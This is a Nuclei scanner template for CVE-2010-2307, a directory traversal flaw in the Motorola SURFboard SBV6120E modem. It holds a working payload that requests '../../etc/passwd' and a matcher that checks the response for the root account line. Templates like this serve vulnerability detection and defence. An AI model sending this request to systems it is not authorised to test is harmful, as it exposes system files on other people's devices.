id: CVE-2010-2307

info:
  name: Motorola SBV6120E SURFboard Digital Voice Modem SBV6X2X-1.0.0.5-SCM - Directory Traversal
  author: daffainfo
  severity: high
  description: Multiple directory traversal vulnerabilities in the web server for Motorola SURFBoard cable modem SBV6120E running firmware SBV6X2X-1.0.0.5-SCM-02-SHPC allow remote attackers to read arbitrary files via (1) "//" (multiple leading slash), (2) ../ (dot dot) sequences, and encoded dot dot sequences in a URL request.
  reference: |
    - https://www.securityfocus.com/bid/40550/info
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2307
  tags: cve,cve2010,iot,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200